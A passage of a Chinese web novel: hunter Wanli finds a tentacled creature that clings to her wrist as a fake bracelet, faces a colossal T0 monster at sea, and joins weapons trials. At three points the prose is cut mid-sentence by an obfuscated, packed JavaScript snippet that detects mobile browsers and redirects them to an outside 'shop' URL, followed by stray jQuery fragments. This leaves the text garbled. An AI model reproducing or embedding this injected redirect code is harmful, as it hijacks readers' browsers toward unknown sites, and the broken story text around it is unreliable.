“赶紧走,那酒贵着呢,再耽搁一会儿,全让你爸造完了!”莉诺怕黑,拖着万里就往前跑,二人踩过木栈道,脚步声越来越远。
过了很久,栈道下方的木桩旁,缓缓探出一截卷着半根蜡烛的触手。
这条触手不像章鱼那样布满吸盘,倒更接近深海水母的腕足,整体是半透明的浅蓝,像条逆光的云母,能隐约看见里头有细碎的光点流动。
触手把蜡烛举到水面上方,翻来覆去地摇摆,像是在显摆新捞到的战利品。
只是经过第二根木桩时,它停住了。
慢慢退回去,触手的注意力落在那片淡黄色的纸钱上。盯了一会儿,蜡烛随意一丢,触手沿着木桩鬼鬼祟祟地游移,一点点靠近那片没烧透的纸钱。
快够着的时候,它快速触碰又迅速缩回,确认没有任何异动,这才小心翼翼地将那片纸钱卷起。
随即,一双金眸浮出水面。
这只生物就这样圆睁着眼,专注地打量这块散发着焦糊味儿的纸片,一眨不眨,目光里是纯然的好奇。
琢磨了半天,还是没忍住,触手一卷,它把那片纸钱塞进了身体里。
短暂的沉默。
金眸生物眼神发木,它大概也没料到,这世上竟有如此难吃的东西。
触手边缘飞快拉长,拟态成一扇半透明的巨大尾鳍,气势汹汹地给了周围的海水一个大嘴巴子,溅起的巨浪顿时漫过栈道。
解气之后,这只生物向深处潜去,临走之前还不忘把刚才丢掉的蜡烛重新卷起,裹得紧紧的,一并拖入黑暗之中。
.
等万里推着她爹回到家时,墙上的摆钟正好指向凌晨四点。
霜葡酒果然名不虚传,老万昨晚在饭桌上还嘴硬,说这酒闻着甜,喝起来八成没劲,结果两杯下肚就开始跟杨老头儿的轮椅称兄道弟,拍着扶手一口一个“好哥哥”。
没错,父女俩能到家,多亏了这位“好哥哥”,不然只靠万里,还真搬不动她爹这大体格子。
把人卸到床上,老万嘴里还咕哝:“给我哥擦擦轮子……”随即脑袋一歪,震天的鼾声响起,怎么看都不像半个小时后能自己爬起来的样子。
叹了口气,万里转身进到厨房。
身为驻防司令,万屹每天凌晨五点必到码头,大事未必有,小事一箩筐。什么沉放记录、潮汐数据、异种活动迹象……等等这些都得他本人一条条过目,再签字存档。
所以今天这趟,就只能由万里顶上。
从橱柜里摸出黑麦面包切开,往里夹了几块熏鱼和腌黄瓜,胡乱摁实了塞进纸袋。临出门前又灌了一壶热红茶,海边风硬,不喝点热的,站不到半小时人就冻透了。
泊船口值夜的巡防员正裹着外套打哈欠,见来的是万里,探头往她身后看了眼:“老万呢?”
“还睡着,我来替他核对。”
巡防员没有立刻交出记录册,反而搭上腰间的电磁枪,拇指扣上握把:
“昨天的暗号。”
万里面无表情:“炸鱼饼。”
巡防员这才松了口气:“不问不行啊,前天,瞭望员小陈就差点被骗了,跟假师父蹲在塔顶唠了一整宿,第二天真师父去换班,小陈还纳闷呢……”
如今回声异种的拟态越来越精,不光模仿死人,活人也学得有模有样。后来万屹弄了套暗号,每天一换,取决于他那天的早饭是什么。办法土归土,但用到现在还没出过纰漏。
“那今天的呢?”巡防员咬开笔帽,准备在交接栏里登记。
“……霜葡酒。”
巡防员没忍住笑了。
万里低头翻着册子,一边听他汇报昨夜海面情况,一边对照表格一项项往下核,只是翻到潮汐那页,笔尖一顿。
栈道东侧近桩区,19点44分,水位异常升高约二分钟,随后恢复正常。
这种情况偶尔有,大多是洋流扰动或鱼群经过,三分钟内自行复位就不是什么大事。她在这条记录旁边画了个圈,没有标红。
见其余各项没什么异常,万里翻到最末尾,盖上老万的私章。
“下班儿!”巡防员如释重负,走前还给她留了一只冰凉的水煮蛋。
泊船口只剩她一个。
海面还是黑沉沉的,远处几盏航标灯一明一灭。沉放船大概半个钟头后靠岸,到时还有一批异骸要登记。在那之前,这段空档刚好用来解决早餐。
万里随便找个背风的位置坐下,小腿悬在栈道边沿,脚下就是海面。拧开壶盖喝了口热茶,等胃里稍微暖呼些,她掏出那块三明治。
只是袋子的触感有点奇怪,万里低头看了眼。
一截半透明的浅蓝触手正搭在纸袋边缘试探,尖端微微卷起。
视线再往下,海面上浮出一双金色眼眸,自发光的虹膜正一瞬不瞬地盯着她。
“……”
栈道空无一人,没有任何支援,身边除了袋子里那把用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483276|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来抹黄油的餐刀外,唯一的武器就只剩右脚的靴刀。
万里不敢轻举妄动,仔细打量水里的东西。
拥有自发光眼眸的异种不多,且无一例外全是T1级,挨个儿对了一遍特征后,她发现水里这只异种不在清剿手册上。
但这个结论并不能让她安心,不过好在这双金眸眼距不宽,照这个比例推算,它的体型也大不到哪儿去,至少不是那种一张嘴就能咬下她脑袋的大型异种。
就在万里飞速想辙时,一截触手从水面下卷起半根红蜡烛,小心搁在栈道上,还往前推了推,完事指指牛皮纸袋。
“……”
万里觉得她大概也喝高了,否则怎么能从一只异种身上读出“礼貌”这两个字来。
水里的东西等了片刻,见万里不为所动,金色眼眸有些急躁,竖瞳放大,像是馋坏了,它用几根触手齐齐搭上栈道边沿,用力一撑,整团身体从海里猛地拱了出来。
只是万里的速度比它更快。
右手探进袋口,两指夹住黄油刀柄,翻腕,下刺。
刀尖精准没入这只生物的脑门儿,只不过后者没有停顿,依旧顶着木头刀把往上爬,神情坦然,好似无事发生。
万里眼睁睁地看着那把黄油刀,在它的体内一点点变形,融化,消失。“咕咚”一声,木头刀把滚落下来,掉入海中。
“……”
这是万里第三次失去语言能力。
不信邪的她抽出右脚边的靴刀,这可跟黄油刀不是一个东西。
刀刃四寸三分,是利维坦的眼鳞做成的。经过十一道冷锻,酸蚀开刃,T1级以下的异种在它面前跟纸糊的没有区别。猎人圈子里,万里这把靴刀还有个亲切的外号——开罐器。
刀刃锋利的边缘泛起森寒杀意,刀尖缓缓对准那团还在往纸袋方向蠕动的生物。
脱离水面之后,这只金眸异种比起莉诺的宠物猫也大不了多少。整个身体是一团半透明的浅蓝色胶质,没有任何已知物种该有的内部构造,细碎的光点在里头缓缓游走,从生物学角度来说……
这他妈就不像生物!
万里找了一圈,除了那双眼,没找着第二样能被称为五官的东西。
成功拱进纸袋后,这只异种体内的光点流速加快,大约相当于人类的欢呼雀跃。两根触手把三明治举过头顶,在万里旁边坐下,淡定开动,丝毫没注意到那把离它脑门儿越来越近的刀。
这到底是个什么东西?
三明治和黄油刀一样,在这只生物体内迅速化开,消失。万里有些担心开罐器扎进去也落个相同的下场。那就太得不偿失了,毕竟为了这片眼鳞,她断过三根肋骨。
消化完三明治,金眸生物抬头看看万里,当着她的面,从袋子里卷出那枚巡防员送的水煮蛋。
还是一样的进食方式,只不过最后把蛋壳吐了出去。
万里确信,清剿手册里肯定没有这东西,那本书她倒着都能背出来。生物数据库里大概率也没有,没听说过哪种活物能生吃金属。
按照《泽尔兰提猎人宣言》,她应该杀了这只越海而来的异种,虽然目前还不清楚它的死穴在哪。
但按照《未知物种处置条例》,她应该把这东西活体封存,带去云都的生物研究院,走采样评级存档那套流程,平均耗时三到六个月。
两个条文方向相反,效力相同。
万里愣愣地坐在栈道边,得出结论:她大概遇上了司法体系的一处漏洞,并且这个漏洞正在用触手扒拉纸袋底部。
确认纸袋里没有遗漏的面包渣后,金眸生物抬起头,竖瞳盯着万里看了几秒,像是在做某种评估。
触手朝万里缓缓靠近,一走一停,蹑手蹑脚,隐约透着心虚。这个细节说明这只生物可能具备基本的行为判断能力,它知道自己在干一件对方未必乐意的事儿。
万里当然也注意到了。
但她觉得这玩意儿多半是个怂包,防御强归强,可胆子比莉诺的猫还小,暂时看不出什么攻击性。
索性就由它去。
金眸生物如愿够到了万里的手腕,蓝色胶质贴上去的瞬间急速收缩,体内光点重新排列组合,模仿她手腕上那条友谊手链完成了拟态,只用了一个眨眼的时间。
“……”
万里低头看看两条一模一样的手链,大概明白这个东西想干什么。
异种行为学里有个专门的术语,用来描述这种主动依附宿主,模拟无害形态以规避驱逐的行为——
伴生寄附。
说人话就是:它吃美了,想蹭长期饭票。
5. 原初修格斯
“下来!”
万里薅住假手链用力往外拽。
小怪物不肯,它牢牢扒在腕骨上,即使被扯成拉面状,就是不断,末端死死缠着,透着一股视死如归的劲头。
不小心手一松,“拉面”迅速回弹,重新拟态成手链的样子,体内光点流速加快,像在庆祝胜利。
二者僵持不下时,一艘吃水极深的大船,无声无息地从晨雾中拱了出来。万里快速捂严袖口,牛皮纸袋还在脚边,被她一脚踹进海里。
手腕上的小怪物仍不老实,听见动静,顺着袖口往外试探,万里屈起中指,狠狠一弹——
它吓了一跳,委委屈屈缩回去了。
一条缆绳从甲板上抛过来,重重砸在铁桩上。她跑过去绕桩系好,跳板紧跟着落下,二十来号人陆续走了出来。
远看,这群人像从古地球穿越过来的骑士,近看更像。
每人都是一身轻便的锰钢合金甲胄,半人高的重型电磁线圈步枪斜背在身后,枪管朝天。甲胄外头还披着各色布罩,绣什么的都有:名字、十字架、黑锚,顶不济还有一个竖中指的火柴人。
万里翻开跨岸清剿的猎人名单,挨个点名。
“托比亚斯。”
“这儿呢。”一个剃板寸的北欧壮汉走到近前,十分熟稔地拍了拍万里的肩膀。
“江竹。”
“到!”
墨蓝色钢笔在名字后头一个个勾下去,只剩最后两个。
“科尔涅娃。”
没有人答。
“科尔涅娃!”万里扫视一圈,抬高声音又喊一次。
“别喊了,她正跟小叔子在后舱忙活呢。”
另一个猎人嚼着烟叶插嘴:“我数着呢,鲍尔那家伙最多两分钟。”
话音刚落,一个身材高挑的斯拉夫女人从船舱口走了出来。她一头卷发凌乱,胸甲扣子敞着,脖子上有两道新鲜红痕。
科尔涅娃走到万里面前停下,伸手捏了捏她的腮帮子。
“小美人儿……脸这么凉!你爸又上哪儿鬼混了?净干征用童工的缺德事儿。”
“科尔涅娃阿姨,我十九了。”
一个高出女人半头的男猎人走出来,甲胄同样是歪的。他从后面搂上科尔涅娃,粗糙的指头在甲片和皮带缝隙里不安分地游移。
“嫂子,等下去我那。”鲍尔的嘴唇贴着科尔涅娃的耳朵,气音多得黏嘴,“我搞到了一瓶酩帝诗黑麦威士忌,就咱俩,不带别人。”
科尔涅娃偏过头看他一眼,目光说不上嫌弃还是受用,大概两者都有。她没回答,伸手揪住鲍尔的领口往下拽,嘴对嘴亲了上去。
二人的甲胄碰撞,发出刺耳摩擦声,可他们充耳不闻,鲍尔扣着科尔涅娃的后脑,两个人在万里面前激吻,好像这条栈道是自家客厅。
满员收。
万里合上名单,绕过啃得起劲的两个人,往沉放船上去了。
这种事见得多,也就没人奇怪了。这帮人成日在海上搏命,情绪在暴虐与恐惧之中来回切换,总得找个地方把它们倒出去,宣泄的方式无非两种:酒,或者性。
对大多数猎人而言,它们只是两种不同效果的止疼药而已,不能治病,但能让他们睡个好觉。
万里不觉得有什么可指摘的,只是偶尔会想,自己以后会不会也走到那一步。
在第一次跨岸清剿的那个夜里,她曾在舱壁外听见过那种声音,喘息和床板声混在一起,又闷又长,像两头脱了力的老牛趴在泥坑打架。
那动静毁掉了一个女孩对亲密关系的一切向往,万里想象不出自己身处那个场景中的样子,她甚至连想象的欲望都没了。
沉放船的甲板比栈道高出半米,万里撑着船舷翻上去,先踩到一层滑腻的东西。甲板上全是嚼碎的烟叶渣,像一地被碾烂的虫子。烟臭味打底,混着薄荷甘草,再加一层异种黏液氧化后的腥甜。
假手链在不断收紧。大概是厌恶这股气味,小怪物用触手把袖口从里头缠得严严实实,直筒袖被它弄成了灯笼袖。
甲板上三三两两蹲着几个老猎人,他们不如年轻人身手利索,于是主动承担了善后的活儿。每人手里一把改装油锯,嘎吱嘎吱地切割着异种尸体。
“万里!”
一个老猎人冲她挥手。
老唐,五十九岁,少有的活到退休的猎人。他的左手安装过机械义肢,结果感染了,组织异常增生,切口长出了一圈褶皱翻卷的肉边,蓬蓬的,像一朵开在手腕上的肉花。
那朵肉花此刻就在万里眼前飞舞,随着老唐挥手的动作一颤一颤。她在心里给这朵花评了九分。
品种独特,长势旺盛,粉嫩娇艳,很有生命力。
“你来得正好!”老唐关了油锯,往大腿上一搭,“那条海蜈蚣太几把重了,把液压钳卡住了,还没断气呢,你去给它一刀!”
万里点点头,拔出开罐器就去了。
船尾这条海蜈蚣体长将近三十米,有三十五段关节,灰黑色的甲壳布满瘤状突起,口器是放射状的颚足,身上全是被穿.甲.弹命中后留下的大坑,露出里头连着筋膜的神经束。
察觉到有人靠近,头部凹陷处藏着的六只眼猛地睁开,暗红冰冷,无机质的瞳孔死死锁在万里身上。
海蜈蚣不算聪明的异种,但它嗅到了天敌利维坦的气息,于是它意识到自己要死了,头顶镰刀状的触角疯狂飞舞,口器蠕动,对着万里就是一声狂怒的嚎叫。
这动静尖锐得很,路过的猎人掏掏耳朵,啧了一声,抬脚碾在它裸露在外的神经束上,海蜈蚣的威慑声立刻变调,愈发刺耳。
万里蹲下去,刀尖对准颅板就是一下,利维坦的眼鳞瞬间没入海蜈蚣脑腔,没有丝毫阻力。她握着刀把搅了三圈,一拔,灰绿色的脑浆顺着刀刃往下淌。
刺耳的叫声终于停了。
她打量了下眼前这具甲壳,品相不太好,穿.甲.弹打得太密,完整的甲片没剩几块,挑了半天,勉强找出三块能用的。万里对着关节交接处下刃,利落撬开,缝隙里渗出黏液,带着一股氨味。
手腕上忽然一动。
触手从袖口边缘探出来,往那堆海蜈蚣的方向伸,光点流速微微加快,隐约透着跃跃欲试的意思。
万里把那截触手摁了回去,两秒后它又探出来。
再摁,再探,反复三次后万里干脆不管了,专心撬甲壳,小怪物凑近看了几秒,大约是觉得海蜈蚣的血肉不合口味,自己又缩回去了。
“记录员来了,都排好队!”
万里拖着那三片完好甲壳走到老唐身边,往他脚下一扔,后者嘿嘿一笑,十分自然地拿脚把甲壳归拢进自己那堆战利品里。
帕尔默腋下夹着登记簿,利落翻上甲板,身后还跟着莉诺。
“这回你爸该服了吧?喝不趴他!”一见万里,帕尔默笑开了,“这就叫自取其辱!”
“彻底服了,我爸搂着轮椅睡得可香了。”
“咦!”一声惊呼,莉诺不慎踩到黏液,险些滑了一跤。
“登记员!过来发钱!酒馆快关门了!”有猎人远远吼了一嗓子。
帕尔默暗骂一声,小跑着过去了。
“你这是……”万里低头打量起好友的装束。
及膝胶靴,黑色防水钓鱼裤,外面罩了件收腰的深灰冲锋衣,袖口卷到小臂中段,露出一双黑色手套。为了搭配,头上还别了一支黑色发箍。
“怎么样?”莉诺原地转了一圈,冲万里扬了扬终端,“我打算拍一期出海日常!这学期的期末作业是社会观察,题目是《伦理与文明秩序》”。
“所以文明跟出海有什么关系?”
“太有关系了!你看这乌泱泱的……”莉诺对着满是异骸的甲板拍了一圈儿,最后镜头定格在万里脸上,“第八海岸、异种、猎人、暴力合法性!这不全是素材吗?”
看着周围的这堆红白烂肉,万里摇了摇头,她寻思这些不应该是反面素材吗。
“你确定这些播出去不会吓到人?”
“吓到更好,最好叫他们知道我不是好惹的!来,你帮我拍一段!”
莉诺二话不说把终端塞给万里,三两步跑过去踩上海蜈蚣的脑门,一手叉腰,一手高举开罐器直指天空,意气风发地喊:
“我要么胜利,要么死亡!”[1]
万里透过取景框看着冒傻气的好友。
一缕晨光从外海方向斜斜打在莉诺身上,辫发和耳钉被照得发亮,她抬着下巴,笑得毫无顾忌,快乐得像这个世界欠了她一座王座,而她此刻终于来取了。
有些人天生就适合站在光里,万里想,哪怕那人脚下踩着的是一具还在冒脑浆的海蜈蚣尸体。
“好了。”
“我看看我看看!”
两个女孩凑在一起看回放,莉诺发现画面中的自己居然还真有几分像样,她有些得意:“怎么样?是不是特别有史诗感?”
“嗯。”万里给了个还算公道的评价:“你像个刚登基的疯子。”
“我去你的!”
“哈哈哈……”
等帕尔默写完最后一笔,甲板上的异种也整理得差不多了。留样的留样,剥皮的剥皮,剩下失去研究价值的异骸被铁钩拖到船腹后方,等着沉放。
“走了!”帕尔默冲驾驶舱竖起大拇指。
引擎声响起,船离开泊船口,调头朝外海开去。
距离沉放带越近,海水的颜色越深,暗赭,浓稠,是一种不祥的红。
莉诺背靠栏杆,身体极力往后仰,双臂大张,上半身几乎悬在船舷外沿。风灌进她敞开的冲锋衣,把衣摆吹成两面翅膀。有那么一瞬间,万里觉得只要一朵小浪过来,好友就会像只失足的海鸟那样坠下去。
“这里很美,万里。”
“我真的觉得泰拉地理的人该来这里取景,说不定第八海岸的日子也会好过一些……”
可谁会跑来坟地取景呢。
万里扫了一圈,头顶是压低的灰云,脚下是红到发黑的海,她想不通莉诺这句“很美”从何而来,于是学着好友的动作,背靠栏杆,身体往后仰到极限。
天空还是那片天空,非要说哪里美,万里只能夸一句灰得很均匀。海风吹过来,她闭上眼睛。
算了,莉诺说美,姑且算它美吧。
晨雾不知不觉又漫了上来,能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483277|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见度迅速降低,不到一分钟,船尾的吊臂都看不清了。
万里的右腕忽然传来剧痛。
低头一看,那小怪物紧紧勒住她的腕骨,体内光点一颗颗熄灭,好像怕被什么东西发现一样。不等她纳闷,晨雾里传来一股淡淡的碱味,只是几个呼吸,鼻腔黏膜处就开始刺痛。
万里快步走进船舱,从壁柜里取出几只呼吸面罩。再出来时,莉诺正举着终端对着晨雾自拍,嘴里嚷嚷着什么“末日美学”。
“先戴上。”她把面罩扣到莉诺脸上,按紧侧扣。
“怎么了?”
“原初修格斯。”万里给自己扣上另一副,拉紧绑带,“如果你能拍到它的完整影像,我觉得泰拉地理会很乐意找你买版权的。”[2]
“那只T0?!”莉诺呆愣两秒,怪叫一声,激动地脸颊发红。
帕尔默和老唐的反应与这边截然不同。
两个老男人眉头锁紧,苦大仇深,老唐更是面色发白,手臂被异种生生咬去的幻痛又钻出来了。
“它不是只在超深渊带活动吗?难道海沟又异动了……”
“不知道。”帕尔默盯着浓雾某个方向,“深层洋流改道也有可能把它推上来。”
虽然原初修格斯的威胁等级是T0,但它性情温顺,没有任何攻击性。真正致命的是它呼吸释放的碱性雾气,吸入过量会灼伤黏膜,导致肺部蛋白质变性液化。但只要做好呼吸防护,人类是可以在目视距离内存活的。
理论上可以,所以大家都跑来甲板凑热闹了。
碱雾越来越浓。
海面缓缓鼓起,有东西从下面顶上来。沉放船被这股上升的海水顶歪了十几度,所有人都紧紧抓住栏杆。
最先浮出水面的是一片半透明,皂化凝胶质感的组织。灰白浑浊,带着一种恶心的黄,像溺水生物的皮肤被碱液浸泡过后的颜色。紧跟着是一片数以万计,大小不一的眼球。
这不是生物身上应该有的器官数量,更像一种增殖。好像原初修格斯忘记了如何停止生长眼球,于是就一直长,直到覆盖了整个体表。
它还在上浮。
再往下,是一道道巨大的豁口,随着呼吸张合,每一次都露出内部暗紫色的巨大肠管,以及管壁上附着的深褐色沉积物。
这也是万里第一次目击原初修格斯,她试图判断这只生物的全貌,但很快放弃了。它的体积远超标准货轮,两艘,也许是五艘,并且没有固定的形态,每一次蠕动,上万只眼球也跟着重新排列。
甲板上安静的像是死了。
莉诺始终举着终端,万里分不清她是兴奋还是恐惧,因为好友呼吸加速,但是手一直紧紧掐着自己的胳膊。
就在这时,一截触手又探了出来。
万里飞快地按住了它,不是现在,至少不能在莉诺的镜头下。
原初修格斯本来在缓慢地向西漂移,突然停住,体表的豁口同时闭合,那些眼球圆睁,瞬间对准同一个目标——
万里。
有人倒吸了一口气。
被上万只没有瞳孔的眼球同时注视是什么感觉。
万里说不上来,那不是恐惧两个字能概括的。
面罩后面的呼吸陡然急促,冷汗沿着脊柱往下淌。她忽然感到绝望,绝望到想拔出开罐器对着脖子抹上一刀,仿佛只要先一步结束自己,就能从这场凝视里逃掉。
原初修格斯缓缓弯下身体,海面因此剧烈翻涌,沉放船被海浪推得剧烈倾斜,帕尔默一手抓着栏杆,一手护着莉诺。
最大的那只眼球直径约十米,随着它的下沉慢慢靠近,最后悬停在距离万里不到半米的头顶。
它离得太近了,近到万里能看到它眼膜上挂着的肮脏黏液,近到她能看见自己戴着面罩的倒影。
渺小得可怜,像一块被压在载玻片里的细胞。
没有瞳孔的眼睛是无法对视的,但万里确实感受到了原初修格斯的注视,她不知道这只巨眼究竟在看什么,是她本人?还是她袖口里的小怪物?
裸露在外的皮肤开始灼痛,可万里不敢动。
原初修格斯具体停留了多久,她不确定,一切的感知都在这段注视下出了故障。也许是一分钟,也许是一小时,直到万里的呼吸面罩被呵气覆盖。
这只生物好似在疑惑,但它得不到答案,于是收回了视线,眼球又恢复了散漫状态,随着体表蠕动漫无目的地重组,不再聚焦于任何一个方向。
缓缓抬起身体,原初修格斯继续向西漂移。
甲板上陆续响起了长长的呼气声。
手腕上隐隐传来一道微弱的脉动,小怪物像被吓坏了,一动不动蜷在那里,乖得像条真手链。
迟疑了一下,万里还是把手伸进袖口,指腹轻轻搭上它。算起来,她们也算同生共死过一次了。
看着原初修格斯消失的方向,她忽然觉得,那个东西不该被称为异种。至少异种的行为是有逻辑的:捕食、防御、繁殖,每一个目的都指向生存。
可原初修格斯不是。
除了它,还有手腕上这个家伙……万里低头看了眼袖口。
这只小怪物似乎也不太像异种。
6. 校准测试
原初修格斯的身影彻底消失在远海。
船长显然吓着了,回程时油门拉到底,四十吨的沉放船硬是开出快艇的架势。所有人被颠得脸色发白,但没有一句抱怨。
靠岸后,莉诺没回家,而是跟着万里直奔村东头的司令部。
说是司令部,其实就是一栋两层的铁皮小屋,靠外的门把手锈烂了,常年拿胶带缠着,如果没有门口那块写着“第八海岸驻防司令部”的小铜牌,莉诺甚至觉得这里更像一间公厕。
进到屋里给终端充上电,屏幕重新亮起。莉诺找到原初修格斯与万里对视的那一段,反复拖动进度条,停在某帧。
画面中,万里站在右边,头顶浓雾被一个巨大的弧面挤开,没有瞳仁的灰白眼球就这么俯视下来,后者丝毫不怵,仰头回望。
一个人类和一个不可名状之物,就这样隔着半米对视。
“你说,我用这张图片投稿泰拉地理,能成吗?”
万里没回,注意力始终放在面前这本沉放日志上。
按规定,目击T0的消息必须上报给海防总署。可一旦发出去,第八海岸就会立即进入战备状态,全年无休,渔民们再想出海那是不可能了。
不仅如此,万里还试图将刚才那场对视包装成一次偶然,只要总署别注意到她,准确地说,是别注意到手腕上这只小怪物。
毕竟深红序列不会录取一个被寄生的猎人……
“叮叮叮,叮——”
办公桌对面,一道光柱从通信基座中央升起,勉强凝聚成一个人形。只是信号不好,全息影像时而清晰时而模糊,里面的像素人影反复重组。
几秒后,那道人形才变成一位年长女性。
她一身红黑色系的普鲁士式军装,右肩垂着披风,金发一丝不苟梳在脑后,胸前别着一枚深红徽章。
薇拉·斯塔列娃,联邦深红海防总署的副署长。
“……卫星于11月8日,上午7时……第八海岸外海……声纹监测出现T0级……信号异动,波动时长约……请第……令万屹,向总署……明具体情况。”
信号断断续续,最后几个字几乎听不清,但意思到了。
万里没想到总署的反应这么快,更没想到来问询的是这位。
她压了压发皱的衣角,走到基座前站定,声音因紧张有些干涩:
“报告副署长,第八海岸驻防司令万屹,因协同跨岸清剿,现不在驻地。由第八海岸中级猎人万里,代为向总署汇报相关情况,请副署长指示。”
薇拉点了点头,并没揭穿万里的谎言,只示意她继续。
看见光幕里出现的身影后,莉诺自动挺直后背,双手放于膝上,唯唯诺诺的样子跟刚才判若两人。
万里把那段反复打磨过的措辞说了出来,用词简洁,去掉了一切不必要的细节,当然,也没提及那场对视。
薇拉听后沉默片刻,目光放到女孩沾满血渍的外套,再到脏兮兮的靴子,最后落在那把开罐器上。
有什么话快到嘴边,又被她咽回去。
年迈的女性最终轻叹一声,光幕闪烁,光柱随之熄灭。
确认通信彻底断了,莉诺才敢站起来,声音低低的:“你外婆还是老样子……一个眼神扫过来,我大气都不敢喘!”
万里勉强笑了笑,算是回应。
砰的一声,司令部的门被来人一下推开,本就摇摇欲坠的门把手彻底断裂,啪嗒一下掉在地上。
“没事吧?!”万屹跛着腿,冲进来将万里翻来覆去看了一圈,身后还跟着帕尔默老唐等人。
“我没事儿。”
老万长舒口气,歪在椅子上,使劲拍着脑门,语气满是后怕:“喝酒误事啊!”
“我说你好好的,你爸非不信,急得假肢都没穿就跑来了。”
帕尔默将手里的足踝义肢一下扔到万屹手里,后者弯腰套上,站起来跺了跺:“可吓死我了……你回去吧,剩下的我来处理。”
“爸,外婆刚才来全息通信了。”思来想去,万里还是决定告诉他,“只问了这边的情况,别的什么都没说。”
“我能作证!”莉诺接茬。
翻沉放日志的手顿住,万屹头也没抬,语气却冷了许多:“……知道了。”
万里没再说什么,拉上莉诺出去了。
司令部正对面是一块夯实的露天场地,半人高的钢桩立在四角,以铁链相连,左边是沙袋木桩,右边则是一面靶墙。
场地中央有几个没活儿的猎人正在晨练,见万里路过,有人高声喊:
“万!新到了一批裂颚枪,来试试!”
说话的女猎人手里托着一把万里没见过的型号,枪身是有机质外壳,看着像某类异种的脊索组织。
二人走到近前,万里从那个叫伊芙琳的女猎人手中接过裂颚枪掂了掂。
“我也想试……”莉诺抱着伊芙琳的胳膊耍赖。
“让她试呗,伊芙琳。”一个满脖颈刺青的男猎人走过来,笑容欠揍,“反正医务室的伤药搁着也是过期,一发的后坐力就够把她这小肩膀震碎了,正好用上。”
“陈安!我要撕烂你的狗嘴!”
“来呀!来!”
莉诺和陈安追逐打闹的工夫,万里已将手里的裂颚枪看了个遍。
这把枪形制上大体类似半自动霰.弹.枪,全长大约九十厘米,比同级别的重了将近两公斤。陈安说得确实没错,不仅是莉诺,万里也怀疑自己顶不住它的后坐力。
“万,什么年代了,还在坚持冷兵器?”伊芙琳过来拍拍她的肩膀,“开罐器的局限性太高了,试试这个,你会爱上它的。”
万里把枪抵肩,找了一下握感,只是右手刚摸到扳机,袖子里却隐隐约约传来一声哈气。
“欸?”显然伊芙琳也听到了,可她认为是裂颚枪里发出的动静。
“不应该啊……”说着,她拿过这把枪仔细检查。枪口是用裂颚鳗的颌骨做的,被一圈合金稳稳固定,伊芙琳也不怕走火,对着黑洞洞的枪管看了又看,“那你用我这把。”
万里接过来,甚至这回还没扣上扳机,又是一声哈气传来,比刚才那声还清晰。
“?”伊芙琳狐疑地转过头,“你听到了吗?”
“听到什么?”万里装傻充愣。
伊芙琳嘀咕着去枪械室拿新的了,趁没人注意这里,她一把攥上右手腕,咬牙切齿:“老实点!”
小怪物固执地缩紧身子,光点明灭不定。它讨厌裂颚鳗的味道,这个下作的物种,专门趁别人不注意,钻进对方的排泄孔道里啃食内脏,是海洋中最龌龊的捕食者。
没有之一!
「脏!」
一道不男不女不老不少的声音在脑海中响起。
“……”
她不知道这是困出来的幻听还是什么,眼见伊芙琳越走越近,急急交代一声:“把嘴闭上!”
“试试这把!万!”
万里故意咳嗽一声,尽量自然地接过来,这回果然没再哈气,取而代之的是右腕上越来越勒的触感。
裂颚枪重新抵肩,食指扣上扳机,下压充能时,枪管不安地蠕动,一股热流扑在万里脸侧,带着明显的腥臊。
她看着不远处还在打闹的二人,调转方向,预判陈安的落脚,扣下扳机—
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483278|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
—
裂颚枪充能到临界点,颌骨怒张,热气伴随异种的嘶鸣从枪口喷出,一颗电磁弹钉在陈安脚边两厘米处。水泥地面被轰开拳头大小的坑,吓得他不敢再动,被追上来的莉诺狠狠踢了两脚。
“我操!”陈安怪叫一声。
“怎么样!”伊芙琳上前接过裂颚枪,“要不要申请一把?”
“不了。”万里摇头,右肩膀疼得好像要裂开,“90牛秒的后坐力,我无福消受。”
“没这么夸张,到时隔着甲胄垫肩,你不会受伤的!”
“集合!校准测试!”
训练场上方的铁皮喇叭突然响起,刺得人耳朵发疼。
伊芙琳拎起裂颚枪向训练场后方走,万里身为中级猎人,自然也在这次的测试名单上。
见好友揉着肩膀走了,莉诺歇了试枪的心思,她蹭着司令部那点可怜的网速,整理出上午的视频,连同原初修格斯的也一起打包上传到社交平台,配文:
@泰拉地理,速速来买授权。
莉诺蹲在铁链桩旁,每隔十秒刷新一次动态,一眨不眨地盯着评论区,期待第一个红心出现。
训练场后面是一栋独立建筑,外表跟黑锚渔村格格不入。
它通体采用复合板材,没有接缝,在一片水泥砖房和铁皮棚子之间,这栋白色的方盒子建筑像从云都空投下来的。
